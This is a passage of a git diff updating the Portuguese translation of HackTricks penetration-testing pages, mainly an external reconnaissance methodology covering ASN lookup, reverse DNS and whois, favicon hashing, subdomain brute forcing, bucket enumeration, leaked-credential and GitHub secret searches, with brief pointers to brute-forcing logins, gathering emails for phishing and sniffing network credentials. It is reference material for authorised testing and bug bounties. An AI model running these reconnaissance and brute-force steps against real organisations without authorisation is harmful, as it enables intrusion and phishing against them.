Outra opção é visitar a página da **Wikipedia** da empresa principal e procurar por **aquisições**.
@@ -44,7 +44,7 @@ Outra opção é visitar a página da **Wikipedia** da empresa principal e procu
Um número de sistema autônomo (**ASN**) é um **número único** atribuído a um **sistema autônomo** (AS) pela **Internet Assigned Numbers Authority (IANA)**.\
Um **AS** consiste em **blocos** de **endereços IP** que possuem uma política claramente definida para acessar redes externas e são administrados por uma única organização, mas podem ser compostos por vários operadores.
-É interessante descobrir se a **empresa possui algum ASN** para encontrar seus **intervalos de IP**. Será interessante realizar um **teste de vulnerabilidade** contra todos os **hosts** dentro do **escopo** e procurar **domínios** dentro desses IPs.\
+É interessante descobrir se a **empresa possui algum ASN atribuído** para encontrar seus **intervalos de IP**. Será interessante realizar um **teste de vulnerabilidade** contra todos os **hosts** dentro do **escopo** e procurar **domínios** dentro desses IPs.\
Você pode **pesquisar** pelo nome da empresa, pelo **IP** ou pelo **domínio** em [**https://bgp.he.net/**](https://bgp.he.net)**.**\
**Dependendo da região da empresa, esses links podem ser úteis para reunir mais dados:** [**AFRINIC**](https://www.afrinic.net) **(África),** [**Arin**](https://www.arin.net/about/welcome/region/)**(América do Norte),** [**APNIC**](https://www.apnic.net) **(Ásia),** [**LACNIC**](https://www.lacnic.net) **(América Latina),** [**RIPE NCC**](https://www.ripe.net) **(Europa). De qualquer forma, provavelmente todas as** informações úteis **(intervalos de IP e Whois)** já aparecem no primeiro link.
```bash
@@ -74,9 +74,9 @@ Pode encontrar o IP e ASN de um domínio usando [http://ipv4info.com/](http://ip
### **Procurando por vulnerabilidades**
-Neste ponto, conhecemos **todos os ativos dentro do escopo**, então, se permitido, você poderia executar algum **scanner de vulnerabilidades** (Nessus, OpenVAS) em todos os hosts.\
-Além disso, você poderia executar alguns [**scans de porta**](../pentesting-network/#discovering-hosts-from-the-outside) **ou usar serviços como** shodan **para encontrar** portas abertas **e, dependendo do que encontrar, você deve** consultar este livro sobre como fazer pentest em vários serviços possíveis em execução.\
-**Também, vale mencionar que você pode preparar algumas listas de** nomes de usuário padrão **e** senhas **e tentar** forçar a entrada em serviços com [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
+Neste ponto, conhecemos **todos os ativos dentro do escopo**, então, se permitido, você poderia lançar algum **scanner de vulnerabilidades** (Nessus, OpenVAS) em todos os hosts.\
+Também, você poderia lançar alguns [**scans de porta**](../pentesting-network/#discovering-hosts-from-the-outside) **ou usar serviços como** shodan **para encontrar** portas abertas **e, dependendo do que encontrar, você deve** consultar este livro sobre como fazer pentest em vários serviços possíveis em execução.\
+**Além disso, vale mencionar que você também pode preparar algumas** listas de **nomes de usuário padrão e** senhas **e tentar** forçar a entrada em serviços com [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
## Domínios
@@ -84,11 +84,11 @@ Além disso, você poderia executar alguns [**scans de porta**](../pentesting-ne
_Por favor, note que nas técnicas propostas a seguir você também pode encontrar subdomínios e essa informação não deve ser subestimada._
-Primeiramente, você deve procurar o(s) **domínio(s) principal(is)** de cada empresa. Por exemplo, para a _Tesla Inc._ será _tesla.com_.
+Primeiramente, você deve procurar o(s) **domínio(s) principal(is)** de cada empresa. Por exemplo, para _Tesla Inc._ será _tesla.com_.
### **DNS Reverso**
-Como você encontrou todos os intervalos de IP dos domínios, você pode tentar realizar **consultas de DNS reverso** nesses **IPs para encontrar mais domínios dentro do escopo**. Tente usar algum servidor DNS da vítima ou algum servidor DNS conhecido (1.1.1.1, 8.8.8.8)
+Como você encontrou todos os intervalos de IP dos domínios, você pode tentar realizar **pesquisas de DNS reverso** nesses **IPs para encontrar mais domínios dentro do escopo**. Tente usar algum servidor DNS da vítima ou algum servidor DNS conhecido (1.1.1.1, 8.8.8.8)
```bash
dnsrecon -r -n #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
@@ -100,16 +100,16 @@ Você também pode usar uma ferramenta online para essa informação: [http://pt
### **Reverse Whois (loop)**
-Dentro de um **whois**, você pode encontrar muitas informações interessantes, como nome da organização, endereço, e-mails, números de telefone... Mas o que é ainda mais interessante é que você pode encontrar mais ativos relacionados à empresa se você realizar pesquisas de **reverse whois por qualquer um desses campos** (por exemplo, outros registros whois onde o mesmo e-mail aparece).\
+Dentro de um **whois**, você pode encontrar muitas informações interessantes como **nome da organização**, **endereço**, **e-mails**, números de telefone... Mas o que é ainda mais interessante é que você pode encontrar **mais ativos relacionados à empresa** se você realizar **buscas de reverse whois por qualquer um desses campos** (por exemplo, outros registros whois onde o mesmo e-mail aparece).\
Você pode usar ferramentas online como:
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Grátis**
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Grátis**
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Grátis**
-* [https://www.whoxy.com/](https://www.whoxy.com) - **Grátis** na web, não gratuito na API.
-* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Não gratuito
-* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Não Gratuito (apenas **100 pesquisas gratuitas**)
-* [https://www.domainiq.com/](https://www.domainiq.com) - Não Gratuito
+* [https://www.whoxy.com/](https://www.whoxy.com) - **Grátis** na web, não grátis na API.
+* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Não grátis
+* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Não grátis (apenas **100 pesquisas gratuitas**)
+* [https://www.domainiq.com/](https://www.domainiq.com) - Não grátis
Você pode automatizar essa tarefa usando [**DomLink** ](https://github.com/vysecurity/DomLink)(requer uma chave de API whoxy).\
Você também pode realizar alguma descoberta automática de reverse whois com [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
@@ -118,10 +118,10 @@ Você também pode realizar alguma descoberta automática de reverse whois com [
### **Trackers**
-Se encontrar o **mesmo ID do mesmo rastreador** em 2 páginas diferentes, você pode supor que **ambas as páginas** são **gerenciadas pela mesma equipe**.\
+Se encontrar o **mesmo ID do mesmo tracker** em 2 páginas diferentes, você pode supor que **ambas as páginas** são **gerenciadas pela mesma equipe**.\
Por exemplo, se você ver o mesmo **ID do Google Analytics** ou o mesmo **ID do Adsense** em várias páginas.
-Existem algumas páginas e ferramentas que permitem pesquisar por esses rastreadores e mais:
+Existem algumas páginas e ferramentas que permitem pesquisar por esses trackers e mais:
* [**Udon**](https://github.com/dhn/udon)
* [**BuiltWith**](https://builtwith.com)
@@ -131,7 +131,7 @@ Existem algumas páginas e ferramentas que permitem pesquisar por esses rastread
### **Favicon**
-Você sabia que podemos encontrar domínios e subdomínios relacionados ao nosso alvo procurando pelo mesmo hash de ícone de favicon? É exatamente isso que a ferramenta [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) feita por [@m4ll0k2](https://twitter.com/m4ll0k2) faz. Veja como usá-la:
+Você sabia que podemos encontrar domínios e subdomínios relacionados ao nosso alvo procurando pelo mesmo hash de ícone de favicon? É exatamente isso que a ferramenta [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) feita por [@m4ll0k2](https://twitter.com/m4ll0k2) faz. Aqui está como usá-la:
```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
@@ -144,7 +144,7 @@ Além disso, você também pode pesquisar tecnologias usando o hash de favicon,
```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
```
-Este é o processo para **calcular o hash do favicon** de um site:
+Aqui está como você pode **calcular o hash do favicon** de um site:
```python
import mmh3
import requests
@@ -159,9 +159,9 @@ return fhash
```
### **Direitos autorais / String única**
-Pesquise dentro das páginas da web **strings que podem ser compartilhadas em diferentes sites na mesma organização**. A **string de direitos autorais** poderia ser um bom exemplo. Em seguida, pesquise essa string no **Google**, em outros **navegadores** ou até mesmo no **Shodan**: `shodan search http.html:"Copyright string"`
+Pesquise nas páginas da web **strings que podem ser compartilhadas em diferentes sites na mesma organização**. A **string de direitos autorais** poderia ser um bom exemplo. Em seguida, pesquise essa string no **Google**, em outros **navegadores** ou até mesmo no **Shodan**: `shodan search http.html:"Copyright string"`
-### **Tempo do CRT**
+### **Tempo CRT**
É comum ter um trabalho cron como
```bash
@@ -197,9 +197,9 @@ Você poderia acessar o **certificado TLS** da página web principal, obter o **
### **Procurando por vulnerabilidades**
-Verifique por algum [domínio assumido](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Talvez alguma empresa esteja **usando um domínio** mas tenha **perdido a propriedade**. Apenas registre-o (se for barato o suficiente) e avise a empresa.
+Verifique se há algum [domínio para assumir o controle](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Talvez alguma empresa esteja **usando um domínio** mas tenha **perdido a propriedade**. Apenas registre-o (se for barato o suficiente) e avise a empresa.
-Se você encontrar algum **domínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **verificação básica de vulnerabilidades** (usando Nessus ou OpenVAS) e alguma [**verificação de porta**](../pentesting-network/#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo de quais serviços estão em execução, você pode encontrar neste livro alguns truques para "atacá-los".\
+Se você encontrar algum **domínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **verificação básica de vulnerabilidades** (usando Nessus ou OpenVAS) e uma [**verificação de porta**](../pentesting-network/#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo de quais serviços estão em execução, você pode encontrar neste livro alguns truques para "atacá-los".\
_Obs.: Às vezes o domínio está hospedado dentro de um IP que não é controlado pelo cliente, então não está no escopo, tenha cuidado._
\
@@ -339,15 +339,15 @@ python3 DomainTrail.py -d example.com
* [**securitytrails.com**](https://securitytrails.com/) tem uma API gratuita para pesquisar subdomínios e histórico de IP
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
-Este projeto oferece de **graça todos os subdomínios relacionados aos programas de recompensa por bugs**. Você pode acessar esses dados também usando [chaospy](https://github.com/dr-0x0x/chaospy) ou até mesmo acessar o escopo usado por este projeto [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
+Este projeto oferece gratuitamente todos os subdomínios relacionados aos programas de recompensa por bugs. Você também pode acessar esses dados usando [chaospy](https://github.com/dr-0x0x/chaospy) ou até mesmo acessar o escopo usado por este projeto [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
-Você pode encontrar uma **comparação** de muitas dessas ferramentas aqui: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
+Você pode encontrar uma comparação de muitas dessas ferramentas aqui: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
### **DNS Brute force**
-Vamos tentar encontrar novos **subdomínios** forçando servidores DNS usando possíveis nomes de subdomínio.
+Vamos tentar encontrar novos subdomínios forçando servidores DNS usando possíveis nomes de subdomínio.
-Para esta ação, você precisará de algumas **listas de palavras comuns de subdomínios como**:
+Para esta ação, você precisará de algumas listas de palavras comuns de subdomínios como:
* [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
* [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
@@ -355,7 +355,7 @@ Para esta ação, você precisará de algumas **listas de palavras comuns de sub
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
-E também IPs de bons resolvedores de DNS. Para gerar uma lista de resolvedores de DNS confiáveis, você pode baixar os resolvedores de [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) e usar [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) para filtrá-los. Ou você poderia usar: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
+E também IPs de bons resolvedores de DNS. Para gerar uma lista de resolvedores de DNS confiáveis, você pode baixar os resolvedores de [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) e usar o [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) para filtrá-los. Ou você poderia usar: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
As ferramentas mais recomendadas para brute force de DNS são:
@@ -369,7 +369,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
```
gobuster dns -d mysite.com -t 50 -w subdomains.txt
```
-* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) é um invólucro em torno do `massdns`, escrito em go, que permite enumerar subdomínios válidos usando força bruta ativa, bem como resolver subdomínios com tratamento de curinga e suporte fácil de entrada e saída.
+* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) é um wrapper em `go` para o `massdns`, que permite enumerar subdomínios válidos usando força bruta ativa, além de resolver subdomínios com tratamento de curinga e suporte fácil de entrada e saída.
```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
@@ -383,7 +383,7 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
```
### Segunda Rodada de Força Bruta de DNS
-Após encontrar subdomínios usando fontes abertas e força bruta, você pode gerar alterações nos subdomínios encontrados para tentar encontrar ainda mais. Várias ferramentas são úteis para esse propósito:
+Após encontrar subdomínios usando fontes abertas e força bruta, você pode gerar alterações dos subdomínios encontrados para tentar encontrar ainda mais. Várias ferramentas são úteis para esse propósito:
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Dado os domínios e subdomínios, gera permutações.
```bash
@@ -399,7 +399,7 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
* [**altdns**](https://github.com/infosec-au/altdns): Para além de gerar permutações de subdomínios, também pode tentar resolvê-los (mas é melhor usar as ferramentas comentadas anteriormente).
-* Pode obter a lista de palavras de permutações do altdns **aqui** (https://github.com/infosec-au/altdns/blob/master/words.txt).
+* Pode obter a lista de permutações do altdns **wordlist** [**aqui**](https://github.com/infosec-au/altdns/blob/master/words.txt).
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
@@ -467,25 +467,25 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
```
### **Força Bruta em Buckets**
-Ao procurar por **subdomínios**, fique atento para ver se ele está **apontando** para algum tipo de **bucket**, e nesse caso [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
-Além disso, como nesse ponto você conhecerá todos os domínios dentro do escopo, tente [**forçar possíveis nomes de buckets e verificar as permissões**](../../network-services-pentesting/pentesting-web/buckets/).
+Enquanto procura por **subdomínios**, fique atento para ver se está **apontando** para algum tipo de **bucket**, e nesse caso [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
+Além disso, neste ponto, você conhecerá todos os domínios dentro do escopo, tente [**forçar possíveis nomes de buckets e verificar as permissões**](../../network-services-pentesting/pentesting-web/buckets/).
### **Monitoramento**
-Você pode **monitorar** se **novos subdomínios** de um domínio são criados monitorando os **Logs de Transparência de Certificado** que o [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) faz.
+Você pode **monitorar** se **novos subdomínios** de um domínio são criados monitorando os **Logs de Transparência de Certificados** que o [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) faz.
### **Procurando por vulnerabilidades**
Verifique possíveis [**apropriações de subdomínio**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Se o **subdomínio** estiver apontando para algum **bucket S3**, [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/).
-Se você encontrar algum **subdomínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura de vulnerabilidade básica** (usando Nessus ou OpenVAS) e uma [**varredura de porta**](../pentesting-network/#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo dos serviços em execução, você pode encontrar neste livro alguns truques para "atacá-los".\
+Se encontrar algum **subdomínio com um IP diferente** dos que já encontrou na descoberta de ativos, você deve realizar uma **varredura de vulnerabilidades básica** (usando Nessus ou OpenVAS) e uma [**varredura de porta**](../pentesting-network/#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo dos serviços em execução, você pode encontrar neste livro alguns truques para "atacá-los".\
_Obs: às vezes o subdomínio está hospedado dentro de um IP que não é controlado pelo cliente, então não está no escopo, tenha cuidado._
## IPs
-Nas etapas iniciais, você pode ter **encontrado alguns intervalos de IP, domínios e subdomínios**.\
-É hora de **recolher todos os IPs desses intervalos** e dos **domínios/subdomínios (consultas DNS).**
+Nas etapas iniciais, você pode ter **encontrado algumas faixas de IP, domínios e subdomínios**.\
+É hora de **recolher todos os IPs dessas faixas** e dos **domínios/subdomínios (consultas DNS).**
Usando serviços das seguintes **APIs gratuitas**, você também pode encontrar **IPs anteriores usados por domínios e subdomínios**. Esses IPs ainda podem ser de propriedade do cliente (e podem permitir que você encontre [**burlas ao CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
@@ -495,15 +495,15 @@ Você também pode verificar os domínios que apontam para um endereço IP espec
### **Procurando por vulnerabilidades**
-**Varredure todas as portas dos IPs que não pertencem a CDNs** (pois provavelmente você não encontrará nada interessante lá). Nos serviços em execução descobertos, você pode ser **capaz de encontrar vulnerabilidades**.
+**Varredure todos os IPs que não pertencem a CDNs** (pois provavelmente não encontrará nada interessante lá). Nos serviços em execução descobertos, você pode ser **capaz de encontrar vulnerabilidades**.
**Encontre um** [**guia**](../pentesting-network/) **sobre como escanear hosts.**
## Caça a servidores web
-> Encontramos todas as empresas e seus ativos e conhecemos os intervalos de IP, domínios e subdomínios dentro do escopo. É hora de procurar por servidores web.
+> Encontramos todas as empresas e seus ativos e conhecemos as faixas de IP, domínios e subdomínios dentro do escopo. É hora de procurar por servidores web.
-Nas etapas anteriores, você provavelmente já realizou alguma **recon dos IPs e domínios descobertos**, então você pode ter **encontrado todos os possíveis servidores web**. No entanto, se você não fez isso, agora vamos ver alguns **truques rápidos para procurar servidores web** dentro do escopo.
+Nas etapas anteriores, você provavelmente já realizou alguma **recon dos IPs e domínios descobertos**, então você pode ter **encontrado todos os possíveis servidores web**. No entanto, se não tivermos, agora vamos ver alguns **truques rápidos para procurar servidores web** dentro do escopo.
Por favor, note que isso será **orientado para a descoberta de aplicativos da web**, então você deve **realizar a vulnerabilidade** e a **varredura de portas** também (**se permitido** pelo escopo).
@@ -519,19 +519,19 @@ Agora que você descobriu **todos os servidores web** presentes no escopo (entre
Para realizar a ideia proposta, você pode usar [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) ou [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
-Além disso, você poderia então usar [**eyeballer**](https://github.com/BishopFox/eyeballer) para percorrer todas as **capturas de tela** e dizer **o que provavelmente contém vulnerabilidades** e o que não contém.
+Além disso, você poderia então usar [**eyeballer**](https://github.com/BishopFox/eyeballer) para percorrer todas as **capturas de tela** e informar **o que provavelmente contém vulnerabilidades** e o que não.
## Ativos de Nuvem Pública
Para encontrar possíveis ativos de nuvem pertencentes a uma empresa, você deve **começar com uma lista de palavras-chave que identifiquem essa empresa**. Por exemplo, para uma empresa de criptomoedas, você pode usar palavras como: `"cripto", "carteira", "dao", "", <"nomes_de_subdomínio">`.
-Você também precisará de listas de palavras **comuns usadas em buckets**:
+Você também precisará de listas de palavras comuns usadas em buckets:
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
-Em seguida, com essas palavras, você deve gerar **permutações** (verifique o [**Segundo Round DNS Brute-Force**](./#second-dns-bruteforce-round) para mais informações).
+Em seguida, com essas palavras, você deve gerar **permutações** (verifique o [**Segundo Round de Brute-Force DNS**](./#second-dns-bruteforce-round) para mais informações).
Com as listas de palavras resultantes, você pode usar ferramentas como [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ou** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
@@ -552,7 +552,7 @@ Com os **domínios** e **subdomínios** dentro do escopo, você basicamente tem
### **Procurando por vulnerabilidades**
-Os e-mails serão úteis mais tarde para **bruteforce em logins web e serviços de autenticação** (como SSH). Além disso, eles são necessários para **phishings**. Além disso, essas APIs lhe darão ainda mais **informações sobre a pessoa** por trás do e-mail, o que é útil para a campanha de phishing.
+Os e-mails serão úteis mais tarde para **bruteforce em logins web e serviços de autenticação** (como SSH). Além disso, eles são necessários para **phishings**. Além disso, essas APIs fornecerão ainda mais **informações sobre a pessoa** por trás do e-mail, o que é útil para a campanha de phishing.
## Vazamentos de Credenciais
@@ -571,14 +571,14 @@ Vazamentos de credenciais estão relacionados a hacks de empresas onde **informa
### Vazamentos do Github
-Credenciais e APIs podem ser vazadas nos **repositórios públicos** da **empresa** ou dos **usuários** que trabalham para essa empresa no github.\
-Você pode usar a **ferramenta** [**Leakos**](https://github.com/carlospolop/Leakos) para **baixar** todos os **repositórios públicos** de uma **organização** e de seus **desenvolvedores** e executar o [**gitleaks**](https://github.com/zricethezav/gitleaks) automaticamente sobre eles.
+Credenciais e APIs podem ser vazadas nos **repositórios públicos** da **empresa** ou dos **usuários** que trabalham para essa empresa do github.\
+Você pode usar a **ferramenta** [**Leakos**](https://github.com/carlospolop/Leakos) para **baixar** todos os **repositórios públicos** de uma **organização** e de seus **desenvolvedores** e executar [**gitleaks**](https://github.com/zricethezav/gitleaks) automaticamente sobre eles.
**Leakos** também pode ser usado para executar **gitleaks** em todos os **textos** fornecidos **URLs passadas** para ele, pois às vezes **páginas da web também contêm segredos**.
#### Dorks do Github
-Verifique também esta **página** para potenciais **dorks do github** que você também poderia procurar na organização que está atacando:
+Verifique também esta **página** para possíveis **dorks do github** que você também poderia pesquisar na organização que está atacando:
{% content-ref url="github-leaked-secrets.md" %}
[github-leaked-secrets.md](github-leaked-secrets.md)
@@ -591,7 +591,7 @@ Você pode usar a ferramenta [**Pastos**](https://github.com/carlospolop/Pastos)
### Dorks do Google
-Os dorks antigos, mas valiosos do Google, são sempre úteis para encontrar **informações expostas que não deveriam estar lá**. O único problema é que o [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contém várias **milhares** de consultas possíveis que você não pode executar manualmente. Portanto, você pode pegar suas 10 favoritas ou usar uma **ferramenta como** [**Gorks**](https://github.com/carlospolop/Gorks) **para executá-las todas**.
+Os dorks antigos, mas valiosos do Google, são sempre úteis para encontrar **informações expostas que não deveriam estar lá**. O único problema é que o [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contém várias **milhares** de consultas possíveis que você não pode executar manualmente. Portanto, você pode escolher suas 10 favoritas ou usar uma **ferramenta como** [**Gorks**](https://github.com/carlospolop/Gorks) **para executá-las todas**.
_Obs: As ferramentas que esperam executar todo o banco de dados usando o navegador regular do Google nunca terminarão, pois o Google bloqueará você muito em breve._
@@ -612,11 +612,11 @@ Se você descobrir que a empresa tem **código aberto**, você pode **analisá-l
Também existem serviços gratuitos que permitem que você **escaneie repositórios públicos**, como:
* [**Snyk**](https://app.snyk.io/)
-## [**Metodologia de Teste de Web Pentesting**](../../network-services-pentesting/pentesting-web/)
+## [**Metodologia de Pentesting Web**](../../network-services-pentesting/pentesting-web/)
-A **maioria das vulnerabilidades** encontradas por caçadores de bugs estão dentro de **aplicações web**, então neste ponto eu gostaria de falar sobre uma **metodologia de teste de aplicação web**, e você pode [**encontrar essa informação aqui**](../../network-services-pentesting/pentesting-web/).
+A **maioria das vulnerabilidades** encontradas por caçadores de bugs estão dentro de **aplicações web**, então neste ponto eu gostaria de falar sobre uma **metodologia de teste de aplicativos web**, e você pode [**encontrar estas informações aqui**](../../network-services-pentesting/pentesting-web/).
-Também quero fazer uma menção especial à seção [**Ferramentas de Scanner Automático Web de Código Aberto**](../../network-services-pentesting/pentesting-web/#automatic-scanners), pois, embora não se deva esperar que encontrem vulnerabilidades muito sensíveis, elas são úteis para implementá-las em **fluxos de trabalho para obter algumas informações iniciais sobre a web.**
+Também quero fazer uma menção especial à seção [**Ferramentas de Scanner Automático Web de Código Aberto**](../../network-services-pentesting/pentesting-web/#automatic-scanners), pois, embora não se deva esperar que encontrem vulnerabilidades muito sensíveis, elas são úteis para implementá-las em **fluxos de trabalho para obter algumas informações web iniciais.**
## Recapitulação
@@ -632,7 +632,7 @@ Então você já:
6. Encontrou todos os **servidores web** e tirou um **screenshot** deles (algo estranho que valha uma investigação mais aprofundada?)
7. Encontrou todos os **ativos potenciais de nuvem pública** pertencentes à empresa.
8. **E-mails**, **vazamentos de credenciais** e **vazamentos de segredos** que poderiam lhe dar uma **grande vitória muito facilmente**.
-9. **Testou todas as webs que encontrou**
+9. **Pentestear todos os sites que você encontrou**
## **Ferramentas Automáticas de Reconhecimento Completo**
@@ -647,7 +647,7 @@ Existem várias ferramentas por aí que executarão parte das ações propostas
* Todos os cursos gratuitos de [**@Jhaddix**](https://twitter.com/Jhaddix) como [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
-
+
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
@@ -659,10 +659,10 @@ Se você está interessado em uma **carreira de hacking** e hackear o inquebráv
Outras maneiras de apoiar o HackTricks:
-* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/generic-methodologies-and-resources/pentesting-methodology.md b/generic-methodologies-and-resources/pentesting-methodology.md
index 6a015a6eb..d617124c1 100644
--- a/generic-methodologies-and-resources/pentesting-methodology.md
+++ b/generic-methodologies-and-resources/pentesting-methodology.md
@@ -14,7 +14,7 @@ Outras maneiras de apoiar o HackTricks:
-
+
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
@@ -41,7 +41,7 @@ Observe que se você estiver realizando um teste externo e conseguir acessar a r
### **2-** [**Diversão com a rede**](pentesting-network/) **(Interno)**
**Esta seção se aplica apenas se você estiver realizando um teste interno.**\
-Antes de atacar um host, talvez você prefira **roubar algumas credenciais** **da rede** ou **sniffar** alguns **dados** para aprender **passivamente/ativamente (MitM)** o que você pode encontrar dentro da rede. Você pode ler [**Pentesting Network**](pentesting-network/#sniffing).
+Antes de atacar um host, talvez você prefira **roubar algumas credenciais** **da rede** ou **capturar** alguns **dados** para aprender **passivamente/ativamente (MitM)** o que você pode encontrar dentro da rede. Você pode ler [**Pentesting Network**](pentesting-network/#sniffing).
### 3- [Varredura de Portas - Descoberta de Serviços](pentesting-network/#scanning-hosts)
@@ -60,7 +60,7 @@ Se não houver nenhum exploit interessante para qualquer serviço em execução,
**Quero fazer uma menção especial à** [**parte de Pentesting Web**](../network-services-pentesting/pentesting-web/) **(pois é a mais extensa).**\
Também, um pequeno guia sobre como [**encontrar vulnerabilidades conhecidas em software**](search-exploits.md) pode ser encontrado aqui.
